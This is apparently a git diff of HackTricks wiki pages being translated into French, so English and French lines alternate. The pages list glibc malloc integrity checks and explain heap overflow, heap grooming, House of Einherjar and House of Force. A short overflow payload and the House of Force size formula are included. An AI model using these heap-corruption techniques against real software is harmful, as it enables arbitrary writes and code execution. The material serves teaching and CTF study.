- Si le morceau retourné a une taille incorrecte à cause de son index dans le fast bin :
- Message d'erreur : `malloc(): memory corruption (fast)`
- Si un morceau utilisé pour remplir le tcache est mal aligné :
- Message d'erreur : `malloc(): unaligned fastbin chunk detected 3`
- **Vérifications lors de la recherche dans le small bin :**
- Si `victim->bk->fd != victim` :
- Message d'erreur : `malloc(): smallbin double linked list corrupted`
- **Vérifications lors de la consolidation** effectuées pour chaque morceau de fast bin :&#x20;
- Si le morceau est mal aligné, déclenchez :
- Message d'erreur : `malloc_consolidate(): unaligned fastbin chunk detected`
- Si le morceau a une taille différente de celle qu'il devrait avoir à cause de l'index dans lequel il se trouve :
- Message d'erreur : `malloc_consolidate(): invalid chunk size`
- Si le morceau précédent n'est pas utilisé et que le morceau précédent a une taille différente de celle indiquée par prev_chunk :
- Message d'erreur : `corrupted size vs. prev_size in fastbins`
- **Vérifications lors de la recherche dans le unsorted bin :**
- Si la taille du morceau est étrange (trop petite ou trop grande) :&#x20;
- Message d'erreur : `malloc(): invalid size (unsorted)`
- Si la taille du morceau suivant est étrange (trop petite ou trop grande) :
- Message d'erreur : `malloc(): invalid next size (unsorted)`
- Si la taille précédente indiquée par le morceau suivant diffère de la taille du morceau :
- Message d'erreur : `malloc(): mismatching next->prev_size (unsorted)`
- Si `victim->bck->fd != victim` ou si `victim->fd != av (arena)` :
- Message d'erreur : `malloc(): unsorted double linked list corrupted`
- Comme nous vérifions toujours le dernier, son fd devrait toujours pointer vers la structure arena.
- Si le morceau suivant n'indique pas que le précédent est utilisé :
- Message d'erreur : `malloc(): invalid next->prev_inuse (unsorted)`
- Si `fwd->bk_nextsize->fd_nextsize != fwd` :
- Message d'erreur : `malloc(): largebin double linked list corrupted (nextsize)`
- Si `fwd->bk->fd != fwd` :
- Message d'erreur : `malloc(): largebin double linked list corrupted (bk)`
- **Vérifications lors de la recherche dans le large bin (par index) :**
- `bck->fd-> bk != bck` :
- Message d'erreur : `malloc(): corrupted unsorted chunks`
- **Vérifications lors de la recherche dans le large bin (suivant plus grand) :**
- `bck->fd-> bk != bck` :
- Message d'erreur : `malloc(): corrupted unsorted chunks2`
- **Vérifications lors de l'utilisation du Top chunk :**
- `chunksize(av->top) > av->system_mem` :
- Message d'erreur : `malloc(): corrupted top size`
## `tcache_get_n`
- **Checks in `tcache_get_n`:**
- If chunk is misaligned:
- Error message: `malloc(): unaligned tcache chunk detected`
- **Vérifications dans `tcache_get_n` :**
- Si le morceau est mal aligné :
- Message d'erreur : `malloc(): unaligned tcache chunk detected`
## `tcache_thread_shutdown`
- **Checks in `tcache_thread_shutdown`:**
- If chunk is misaligned:
- Error message: `tcache_thread_shutdown(): unaligned tcache chunk detected`
- **Vérifications dans `tcache_thread_shutdown` :**
- Si le morceau est mal aligné :
- Message d'erreur : `tcache_thread_shutdown(): unaligned tcache chunk detected`
## `__libc_realloc`
- **Checks in `__libc_realloc`:**
- If old pointer is misaligned or the size was incorrect:
- Error message: `realloc(): invalid pointer`
- **Vérifications dans `__libc_realloc` :**
- Si l'ancien pointeur est mal aligné ou si la taille était incorrecte :
- Message d'erreur : `realloc(): invalid pointer`
## `_int_free`
For more info check:
Pour plus d'infos, consultez :
{{#ref}}
free.md
{{#endref}}
- **Checks during the start of `_int_free`:**
- Pointer is aligned:
- Error message: `free(): invalid pointer`
- Size larger than `MINSIZE` and size also aligned:
- Error message: `free(): invalid size`
- **Checks in `_int_free` tcache:**
- If there are more entries than `mp_.tcache_count`:
- Error message: `free(): too many chunks detected in tcache`
- If the entry is not aligned:
- Error message: `free(): unaligned chunk detected in tcache 2`
- If the freed chunk was already freed and is present as chunk in the tcache:
- Error message: `free(): double free detected in tcache 2`
- **Checks in `_int_free` fast bin:**
- If the size of the chunk is invalid (too big or small) trigger:
- Error message: `free(): invalid next size (fast)`
- If the added chunk was already the top of the fast bin:
- Error message: `double free or corruption (fasttop)`
- If the size of the chunk at the top has a different size of the chunk we are adding:
- Error message: `invalid fastbin entry (free)`
- **Vérifications au début de `_int_free` :**
- Le pointeur est aligné :
- Message d'erreur : `free(): invalid pointer`
- Taille supérieure à `MINSIZE` et taille également alignée :
- Message d'erreur : `free(): invalid size`
- **Vérifications dans `_int_free` tcache :**
- S'il y a plus d'entrées que `mp_.tcache_count` :
- Message d'erreur : `free(): too many chunks detected in tcache`
- Si l'entrée n'est pas alignée :
- Message d'erreur : `free(): unaligned chunk detected in tcache 2`
- Si le morceau libéré avait déjà été libéré et est présent comme morceau dans le tcache :
- Message d'erreur : `free(): double free detected in tcache 2`
- **Vérifications dans `_int_free` fast bin :**
- Si la taille du morceau est invalide (trop grande ou trop petite), déclenchez :
- Message d'erreur : `free(): invalid next size (fast)`
- Si le morceau ajouté était déjà le haut du fast bin :
- Message d'erreur : `double free or corruption (fasttop)`
- Si la taille du morceau en haut a une taille différente de celle du morceau que nous ajoutons :
- Message d'erreur : `invalid fastbin entry (free)`
## **`_int_free_merge_chunk`**
- **Checks in `_int_free_merge_chunk`:**
- If the chunk is the top chunk:
- Error message: `double free or corruption (top)`
- If the next chunk is outside of the boundaries of the arena:
- Error message: `double free or corruption (out)`
- If the chunk is not marked as used (in the prev_inuse from the following chunk):
- Error message: `double free or corruption (!prev)`
- If the next chunk has a too little size or too big:
- Error message: `free(): invalid next size (normal)`
- If the previous chunk is not in use, it will try to consolidate. But, if the `prev_size` differs from the size indicated in the previous chunk:
- Error message: `corrupted size vs. prev_size while consolidating`
- **Vérifications dans `_int_free_merge_chunk` :**
- Si le morceau est le top chunk :
- Message d'erreur : `double free or corruption (top)`
- Si le morceau suivant est en dehors des limites de l'arène :
- Message d'erreur : `double free or corruption (out)`
- Si le morceau n'est pas marqué comme utilisé (dans le prev_inuse du morceau suivant) :
- Message d'erreur : `double free or corruption (!prev)`
- Si le morceau suivant a une taille trop petite ou trop grande :
- Message d'erreur : `free(): invalid next size (normal)`
- Si le morceau précédent n'est pas utilisé, il essaiera de consolider. Mais, si le `prev_size` diffère de la taille indiquée dans le morceau précédent :
- Message d'erreur : `corrupted size vs. prev_size while consolidating`
## **`_int_free_create_chunk`**
- **Checks in `_int_free_create_chunk`:**
- Adding a chunk into the unsorted bin, check if `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`:
- Error message: `free(): corrupted unsorted chunks`
- **Vérifications dans `_int_free_create_chunk` :**
- En ajoutant un morceau dans le unsorted bin, vérifiez si `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)` :
- Message d'erreur : `free(): corrupted unsorted chunks`
## `do_check_malloc_state`
- **Checks in `do_check_malloc_state`:**
- If misaligned fast bin chunk:
- Error message: `do_check_malloc_state(): unaligned fastbin chunk detected`
- **Vérifications dans `do_check_malloc_state` :**
- Si le morceau de fast bin est mal aligné :
- Message d'erreur : `do_check_malloc_state(): unaligned fastbin chunk detected`
## `malloc_consolidate`
- **Checks in `malloc_consolidate`:**
- If misaligned fast bin chunk:
- Error message: `malloc_consolidate(): unaligned fastbin chunk detected`
- If incorrect fast bin chunk size:
- Error message: `malloc_consolidate(): invalid chunk size`
- **Vérifications dans `malloc_consolidate` :**
- Si le morceau de fast bin est mal aligné :
- Message d'erreur : `malloc_consolidate(): unaligned fastbin chunk detected`
- Si la taille du morceau de fast bin est incorrecte :
- Message d'erreur : `malloc_consolidate(): invalid chunk size`
## `_int_realloc`
- **Checks in `_int_realloc`:**
- Size is too big or too small:
- Error message: `realloc(): invalid old size`
- Size of the next chunk is too big or too small:
- Error message: `realloc(): invalid next size`
- **Vérifications dans `_int_realloc` :**
- La taille est trop grande ou trop petite :
- Message d'erreur : `realloc(): invalid old size`
- La taille du morceau suivant est trop grande ou trop petite :
- Message d'erreur : `realloc(): invalid next size`
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -3,7 +3,6 @@
{{#include ../../../banners/hacktricks-training.md}}
### Code
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -11,73 +10,72 @@
static void
unlink_chunk (mstate av, mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
fd->bk = bk;
bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");
fd->bk = bk;
bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");
// Added: If the FD is not in the nextsize list
if (fd->fd_nextsize == NULL)
{
// Added: If the FD is not in the nextsize list
if (fd->fd_nextsize == NULL)
{
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
// Link the nexsize list in when removing the new chunk
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
// Link the nexsize list in when removing the new chunk
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
}
```
### Explication Graphique
### Graphical Explanation
Check this great graphical explanation of the unlink process:
Vérifiez cette excellente explication graphique du processus unlink :
<figure><img src="../../../images/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
### Security Checks
### Vérifications de Sécurité
- Check if the indicated size of the chunk is the same as the prev_size indicated in the next chunk
- Check also that `P->fd->bk == P` and `P->bk->fw == P`
- If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P`
- Vérifiez si la taille indiquée du chunk est la même que le prev_size indiqué dans le chunk suivant
- Vérifiez également que `P->fd->bk == P` et `P->bk->fw == P`
- Si le chunk n'est pas petit, vérifiez que `P->fd_nextsize->bk_nextsize == P` et `P->bk_nextsize->fd_nextsize == P`
### Leaks
### Fuites
An unlinked chunk is not cleaning the allocated addreses, so having access to rad it, it's possible to leak some interesting addresses:
Un chunk non lié ne nettoie pas les adresses allouées, donc avoir accès à rad, il est possible de fuir certaines adresses intéressantes :
Libc Leaks:
Fuites Libc :
- If P is located in the head of the doubly linked list, `bk` will be pointing to `malloc_state` in libc
- If P is located at the end of the doubly linked list, `fd` will be pointing to `malloc_state` in libc
- When the doubly linked list contains only one free chunk, P is in the doubly linked list, and both `fd` and `bk` can leak the address inside `malloc_state`.
- Si P est situé au début de la liste doublement chaînée, `bk` pointera vers `malloc_state` dans libc
- Si P est situé à la fin de la liste doublement chaînée, `fd` pointera vers `malloc_state` dans libc
- Lorsque la liste doublement chaînée ne contient qu'un seul chunk libre, P est dans la liste doublement chaînée, et à la fois `fd` et `bk` peuvent fuir l'adresse à l'intérieur de `malloc_state`.
Heap leaks:
Fuites de Heap :
- If P is located in the head of the doubly linked list, `fd` will be pointing to an available chunk in the heap
- If P is located at the end of the doubly linked list, `bk` will be pointing to an available chunk in the heap
- If P is in the doubly linked list, both `fd` and `bk` will be pointing to an available chunk in the heap
- Si P est situé au début de la liste doublement chaînée, `fd` pointera vers un chunk disponible dans le heap
- Si P est situé à la fin de la liste doublement chaînée, `bk` pointera vers un chunk disponible dans le heap
- Si P est dans la liste doublement chaînée, à la fois `fd` et `bk` pointeront vers un chunk disponible dans le heap
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,50 +1,48 @@
# Heap Overflow
# Débordement de tas
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informations de base
A heap overflow is like a [**stack overflow**](../stack-overflow/) but in the heap. Basically it means that some space was reserved in the heap to store some data and **stored data was bigger than the space reserved.**
Un débordement de tas est comme un [**débordement de pile**](../stack-overflow/) mais dans le tas. En gros, cela signifie qu'un espace a été réservé dans le tas pour stocker des données et que **les données stockées étaient plus grandes que l'espace réservé.**
In stack overflows we know that some registers like the instruction pointer or the stack frame are going to be restored from the stack and it could be possible to abuse this. In case of heap overflows, there **isn't any sensitive information stored by default** in the heap chunk that can be overflowed. However, it could be sensitive information or pointers, so the **criticality** of this vulnerability **depends** on **which data could be overwritten** and how an attacker could abuse this.
Dans les débordements de pile, nous savons que certains registres comme le pointeur d'instruction ou le cadre de pile vont être restaurés à partir de la pile et il pourrait être possible d'en abuser. Dans le cas des débordements de tas, il **n'y a pas d'informations sensibles stockées par défaut** dans le morceau de tas qui peut être débordé. Cependant, cela pourrait être des informations sensibles ou des pointeurs, donc la **criticité** de cette vulnérabilité **dépend** de **quelles données pourraient être écrasées** et de la manière dont un attaquant pourrait en abuser.
> [!TIP]
> In order to find overflow offsets you can use the same patterns as in [**stack overflows**](../stack-overflow/#finding-stack-overflows-offsets).
> Pour trouver les décalages de débordement, vous pouvez utiliser les mêmes motifs que dans les [**débordements de pile**](../stack-overflow/#finding-stack-overflows-offsets).
### Stack Overflows vs Heap Overflows
### Débordements de pile vs Débordements de tas
In stack overflows the arranging and data that is going to be present in the stack at the moment the vulnerability can be triggered is fairly reliable. This is because the stack is linear, always increasing in colliding memory, in **specific places of the program run the stack memory usually stores similar kind of data** and it has some specific structure with some pointers at the end of the stack part used by each function.
Dans les débordements de pile, l'agencement et les données qui vont être présentes dans la pile au moment où la vulnérabilité peut être déclenchée sont assez fiables. Cela est dû au fait que la pile est linéaire, toujours croissante dans la mémoire en collision, dans **des endroits spécifiques de l'exécution du programme, la mémoire de la pile stocke généralement des données similaires** et elle a une structure spécifique avec des pointeurs à la fin de la partie de la pile utilisée par chaque fonction.
However, in the case of a heap overflow, the used memory isnt linear but **allocated chunks are usually in separated positions of memory** (not one next to the other) because of **bins and zones** separating allocations by size and because **previous freed memory is used** before allocating new chunks. Its **complicated to know the object that is going to be colliding with the one vulnerable** to a heap overflow. So, when a heap overflow is found, its needed to find a **reliable way to make the desired object to be next in memory** from the one that can be overflowed.
Cependant, dans le cas d'un débordement de tas, la mémoire utilisée n'est pas linéaire mais **les morceaux alloués sont généralement dans des positions séparées de la mémoire** (pas l'un à côté de l'autre) à cause des **bins et des zones** séparant les allocations par taille et parce que **la mémoire précédemment libérée est utilisée** avant d'allouer de nouveaux morceaux. Il est **compliqué de savoir quel objet va entrer en collision avec celui vulnérable** à un débordement de tas. Donc, lorsqu'un débordement de tas est trouvé, il est nécessaire de trouver un **moyen fiable de faire en sorte que l'objet désiré soit le suivant en mémoire** de celui qui peut être débordé.
One of the techniques used for this is **Heap Grooming** which is used for example [**in this post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). In the post its explained how when in iOS kernel when a zone run out of memory to store chunks of memory, it expands it by a kernel page, and this page is splitted into chunks of the expected sizes which would be used in order (until iOS version 9.2, then these chunks are used in a randomised way to difficult the exploitation of these attacks).
Une des techniques utilisées pour cela est le **Heap Grooming** qui est utilisé par exemple [**dans ce post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). Dans le post, il est expliqué comment, dans le noyau iOS, lorsqu'une zone manque de mémoire pour stocker des morceaux de mémoire, elle l'agrandit par une page de noyau, et cette page est divisée en morceaux des tailles attendues qui seraient utilisées dans l'ordre (jusqu'à la version iOS 9.2, puis ces morceaux sont utilisés de manière randomisée pour compliquer l'exploitation de ces attaques).
Therefore, in the previous post where a heap overflow is happening, in order to force the overflowed object to be colliding with a victim order, several **`kallocs` are forced by several threads to try to ensure that all the free chunks are filled and that a new page is created**.
Par conséquent, dans le post précédent où un débordement de tas se produit, afin de forcer l'objet débordé à entrer en collision avec un ordre de victime, plusieurs **`kallocs` sont forcés par plusieurs threads pour essayer de s'assurer que tous les morceaux libres sont remplis et qu'une nouvelle page est créée**.
In order to force this filling with objects of a specific size, the **out-of-line allocation associated with an iOS mach port** is an ideal candidate. By crafting the size of the message, its possible to exactly specify the size of `kalloc` allocation and when the corresponding mach port is destroyed, the corresponding allocation will be immediately released back to `kfree`.
Pour forcer ce remplissage avec des objets d'une taille spécifique, l'**allocation hors ligne associée à un port mach iOS** est un candidat idéal. En façonnant la taille du message, il est possible de spécifier exactement la taille de l'allocation `kalloc` et lorsque le port mach correspondant est détruit, l'allocation correspondante sera immédiatement libérée à nouveau à `kfree`.
Then, some of these placeholders can be **freed**. The **`kalloc.4096` free list releases elements in a last-in-first-out order**, which basically means that if some place holders are freed and the exploit try lo allocate several victim objects while trying to allocate the object vulnerable to overflow, its probable that this object will be followed by a victim object.
Ensuite, certains de ces espaces réservés peuvent être **libérés**. La **liste libre `kalloc.4096` libère des éléments dans un ordre dernier entré, premier sorti**, ce qui signifie essentiellement que si certains espaces réservés sont libérés et que l'exploit essaie d'allouer plusieurs objets victimes tout en essayant d'allouer l'objet vulnérable au débordement, il est probable que cet objet sera suivi par un objet victime.
### Example libc
### Exemple libc
[**In this page**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) it's possible to find a basic Heap overflow emulation that shows how overwriting the prev in use bit of the next chunk and the position of the prev size it's possible to **consolidate a used chunk** (by making it thing it's unused) and **then allocate it again** being able to overwrite data that is being used in a different pointer also.
[**Sur cette page**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html), il est possible de trouver une émulation de débordement de tas de base qui montre comment en écrasant le bit prev in use du morceau suivant et la position de la taille prev, il est possible de **consolider un morceau utilisé** (en le faisant croire qu'il est inutilisé) et **ensuite de le réallouer** en étant capable d'écraser des données qui sont utilisées dans un autre pointeur également.
Another example from [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) shows a very basic example of a CTF where a **heap overflow** can be abused to call the winner function to **get the flag**.
Un autre exemple de [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) montre un exemple très basique d'un CTF où un **débordement de tas** peut être abusé pour appeler la fonction gagnante afin de **récupérer le drapeau**.
In the [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) example it's possible to see how abusing a buffer overflow it's possible to **overwrite in a near chunk an address** where **arbitrary data from the user** is going to be written to.
Dans l'exemple [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html), il est possible de voir comment en abusant d'un débordement de tampon, il est possible de **écraser dans un morceau voisin une adresse****des données arbitraires de l'utilisateur** vont être écrites.
### Example ARM64
In the page [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) you can find a heap overflow example where a command that is going to be executed is stored in the following chunk from the overflowed chunk. So, it's possible to modify the executed command by overwriting it with an easy exploit such as:
### Exemple ARM64
Sur la page [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/), vous pouvez trouver un exemple de débordement de tas où une commande qui va être exécutée est stockée dans le morceau suivant du morceau débordé. Ainsi, il est possible de modifier la commande exécutée en l'écrasant avec un exploit simple tel que :
```bash
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
```
### Other examples
### Autres exemples
- [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)
- We use an Integer Overflow vulnerability to get a Heap Overflow.
- We corrupt pointers to a function inside a `struct` of the overflowed chunk to set a function such as `system` and get code execution.
- Nous utilisons une vulnérabilité de débordement d'entier pour obtenir un débordement de tas.
- Nous corrompons des pointeurs vers une fonction à l'intérieur d'un `struct` du morceau débordé pour définir une fonction telle que `system` et obtenir l'exécution de code.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,48 +2,48 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informations de base
### Code
- Check the example from [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c)
- Or the one from [https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation) (you might need to fill the tcache)
- Vérifiez l'exemple de [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c)
- Ou celui de [https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation) (vous devrez peut-être remplir le tcache)
### Goal
### Objectif
- The goal is to allocate memory in almost any specific address.
- L'objectif est d'allouer de la mémoire à presque n'importe quelle adresse spécifique.
### Requirements
### Exigences
- Create a fake chunk when we want to allocate a chunk:
- Set pointers to point to itself to bypass sanity checks
- One-byte overflow with a null byte from one chunk to the next one to modify the `PREV_INUSE` flag.
- Indicate in the `prev_size` of the off-by-null abused chunk the difference between itself and the fake chunk
- The fake chunk size must also have been set the same size to bypass sanity checks
- For constructing these chunks, you will need a heap leak.
- Créer un faux chunk lorsque nous voulons allouer un chunk :
- Définir des pointeurs pour pointer vers lui-même afin de contourner les vérifications de validité
- Débordement d'un octet avec un octet nul d'un chunk au suivant pour modifier le drapeau `PREV_INUSE`.
- Indiquer dans le `prev_size` du chunk abusé par un octet nul la différence entre lui-même et le faux chunk
- La taille du faux chunk doit également avoir été définie à la même taille pour contourner les vérifications de validité
- Pour construire ces chunks, vous aurez besoin d'une fuite de heap.
### Attack
### Attaque
- `A` fake chunk is created inside a chunk controlled by the attacker pointing with `fd` and `bk` to the original chunk to bypass protections
- 2 other chunks (`B` and `C`) are allocated
- Abusing the off by one in the `B` one the `prev in use` bit is cleaned and the `prev_size` data is overwritten with the difference between the place where the `C` chunk is allocated, to the fake `A` chunk generated before
- This `prev_size` and the size in the fake chunk `A` must be the same to bypass checks.
- Then, the tcache is filled
- Then, `C` is freed so it consolidates with the fake chunk `A`
- Then, a new chunk `D` is created which will be starting in the fake `A` chunk and covering `B` chunk
- The house of Einherjar finishes here
- This can be continued with a fast bin attack or Tcache poisoning:
- Free `B` to add it to the fast bin / Tcache
- `B`'s `fd` is overwritten making it point to the target address abusing the `D` chunk (as it contains `B` inside)&#x20;
- Then, 2 mallocs are done and the second one is going to be **allocating the target address**
- Un faux chunk `A` est créé à l'intérieur d'un chunk contrôlé par l'attaquant pointant avec `fd` et `bk` vers le chunk original pour contourner les protections
- 2 autres chunks (`B` et `C`) sont alloués
- En abusant du débordement d'un octet dans le chunk `B`, le bit `prev in use` est nettoyé et les données `prev_size` sont écrasées avec la différence entre l'endroit où le chunk `C` est alloué et le faux chunk `A` généré précédemment
- Ce `prev_size` et la taille dans le faux chunk `A` doivent être les mêmes pour contourner les vérifications.
- Ensuite, le tcache est rempli
- Ensuite, `C` est libéré afin qu'il se consolide avec le faux chunk `A`
- Ensuite, un nouveau chunk `D` est créé qui commencera dans le faux chunk `A` et couvrira le chunk `B`
- La maison d'Einherjar se termine ici
- Cela peut être poursuivi avec une attaque de fast bin ou un empoisonnement de Tcache :
- Libérer `B` pour l'ajouter au fast bin / Tcache
- Le `fd` de `B` est écrasé, le faisant pointer vers l'adresse cible en abusant du chunk `D` (car il contient `B` à l'intérieur)&#x20;
- Ensuite, 2 mallocs sont effectués et le deuxième va **allouer l'adresse cible**
## References and other examples
## Références et autres exemples
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c)
- **CTF** [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad)
- After freeing pointers their aren't nullified, so it's still possible to access their data. Therefore a chunk is placed in the unsorted bin and leaked the pointers it contains (libc leak) and then a new heap is places on the unsorted bin and leaked a heap address from the pointer it gets.
- Après avoir libéré des pointeurs, ils ne sont pas annulés, donc il est toujours possible d'accéder à leurs données. Par conséquent, un chunk est placé dans le bin non trié et les pointeurs qu'il contient sont divulgués (libc leak) et ensuite un nouveau heap est placé dans le bin non trié et une adresse de heap est divulguée à partir du pointeur qu'il obtient.
- [**baby-talk. DiceCTF 2024**](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/)
- Null-byte overflow bug in `strtok`.
- Use House of Einherjar to get an overlapping chunks situation and finish with Tcache poisoning ti get an arbitrary write primitive.
- Bug de débordement d'octet nul dans `strtok`.
- Utilisez la Maison d'Einherjar pour obtenir une situation de chunks qui se chevauchent et terminez avec un empoisonnement de Tcache pour obtenir une primitive d'écriture arbitraire.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,45 +2,43 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informations de base
### Code
- This technique was patched ([**here**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) and produces this error: `malloc(): corrupted top size`
- You can try the [**code from here**](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) to test it if you want.
- Cette technique a été corrigée ([**ici**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) et produit cette erreur : `malloc(): corrupted top size`
- Vous pouvez essayer le [**code d'ici**](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) pour le tester si vous le souhaitez.
### Goal
### Objectif
- The goal of this attack is to be able to allocate a chunk in a specific address.
- L'objectif de cette attaque est de pouvoir allouer un chunk à une adresse spécifique.
### Requirements
### Exigences
- An overflow that allows to overwrite the size of the top chunk header (e.g. -1).
- Be able to control the size of the heap allocation
- Un débordement qui permet d'écraser la taille de l'en-tête du chunk supérieur (par exemple -1).
- Être capable de contrôler la taille de l'allocation de la heap.
### Attack
### Attaque
If an attacker wants to allocate a chunk in the address P to overwrite a value here. He starts by overwriting the top chunk size with `-1` (maybe with an overflow). This ensures that malloc won't be using mmap for any allocation as the Top chunk will always have enough space.
Then, calculate the distance between the address of the top chunk and the target space to allocate. This is because a malloc with that size will be performed in order to move the top chunk to that position. This is how the difference/size can be easily calculated:
Si un attaquant veut allouer un chunk à l'adresse P pour écraser une valeur ici. Il commence par écraser la taille du chunk supérieur avec `-1` (peut-être avec un débordement). Cela garantit que malloc n'utilisera pas mmap pour toute allocation car le chunk supérieur aura toujours suffisamment d'espace.
Ensuite, calculez la distance entre l'adresse du chunk supérieur et l'espace cible à allouer. Cela est dû au fait qu'un malloc avec cette taille sera effectué afin de déplacer le chunk supérieur à cette position. Voici comment la différence/taille peut être facilement calculée :
```c
// From https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c#L59C2-L67C5
/*
* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
* new_top = old_top + nb
* nb = new_top - old_top
* req + 2sizeof(long) = new_top - old_top
* req = new_top - old_top - 2sizeof(long)
* req = target - 2sizeof(long) - old_top - 2sizeof(long)
* req = target - old_top - 4*sizeof(long)
*/
* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
* new_top = old_top + nb
* nb = new_top - old_top
* req + 2sizeof(long) = new_top - old_top
* req = new_top - old_top - 2sizeof(long)
* req = target - 2sizeof(long) - old_top - 2sizeof(long)
* req = target - old_top - 4*sizeof(long)
*/
```
Par conséquent, allouer une taille de `target - old_top - 4*sizeof(long)` (les 4 longs sont dus aux métadonnées du top chunk et du nouveau chunk lors de l'allocation) déplacera le top chunk à l'adresse que nous voulons écraser.\
Ensuite, effectuez un autre malloc pour obtenir un chunk à l'adresse cible.
Therefore, allocating a size of `target - old_top - 4*sizeof(long)` (the 4 longs are because of the metadata of the top chunk and of the new chunk when allocated) will move the top chunk to the address we want to overwrite.\
Then, do another malloc to get a chunk at the target address.
### References & Other Examples
### Références et autres exemples
- [https://github.com/shellphish/how2heap/tree/master](https://github.com/shellphish/how2heap/tree/master?tab=readme-ov-file)
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/)
@ -48,17 +46,17 @@ Then, do another malloc to get a chunk at the target address.
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c)
